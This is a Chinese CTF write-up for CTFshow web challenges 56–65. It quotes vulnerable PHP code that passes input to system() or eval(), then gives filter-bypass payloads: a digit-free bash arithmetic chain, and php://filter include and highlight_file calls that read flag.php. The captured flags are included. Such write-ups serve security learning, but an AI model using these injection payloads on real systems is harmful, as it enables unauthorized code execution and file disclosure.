CTFshow web56 57 58 59 60-65

发布于:2022-11-12 ⋅ 阅读:(651) ⋅ 点赞:(0)

web56

代码分析:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }

这块跟55类似,但是把数字也过滤了,意思是,/???/????64 不能用了,因为这里是靠64匹配的,数字没了所以就用不了了,但是.还是没过滤,可以使用.执行

payload:

详细介绍在前面的文章中——传送门

使用上传网页,上传个txt,抓包修改,发送到重发器,因为最后一位不一定为大写字母所以多发几次就有结果

 

flag:

ctfshow{1aca122d-266a-42a3-ab31-7ba3800c2277}

web57

代码分析:

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{

提示了flag在36.php,下面甚至cat 和.php都给了,其实就是想办法构造36出来,看了大佬的解,发现在linux中$(())表示运算符计算,且默认相加 默认相加很重要的,然后~是取反的意思

尝试了一下 $(())=0,$((~ $(())))=-1 ,$((~ 36))=-37

 

$((~ -37))=36,所以就要构造一个 $((~ -37)),而刚刚提到$(())默认相加,尝试一下

$(($((~ $(()))) $((~ $(()))) $((~ $(())))))

所以写37个 $((~ $(()))) 就能得到-37 再用~取反 得到36

 

payload:

$((~ $(($((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(())))$((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) $((~ $(()))) ))))

ps:flag在F12中

flag:

ctfshow{d0d4cca2-b564-4c68-81bc-db28481f7249}

web58

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{

变成post方法传参了,直接掏出hackbar

试了一下c=system('ls');

 出于安全性考虑已被禁用,passthru、shell_exec、exec都被禁用了,考虑文件包含或者highlight_file

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

base64 falg: 

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3Yjg3ODk5NS1jMGU5LTRiMWEtODljMC0zZTg1NTc2YmQ5ZjN9Ijs= 

 

 解法二

flag:

 ctfshow{7b878995-c0e9-4b1a-89c0-3e85576bd9f3}

web59

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);

跟上一关一样

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

flag:

ctfshow{f3be9bd8-55e2-4a59-9973-70ae3ddb8074}

web60

代码分析:

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

 跟上一关一样

payload:

c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=highlight_file("flag.php");

flag:

ctfshow{41197111-be3c-4c5a-89d3-378cc8e8a003}

web61-65

都和前面一样


网站公告

今日签到

点亮在社区的每一天
去签到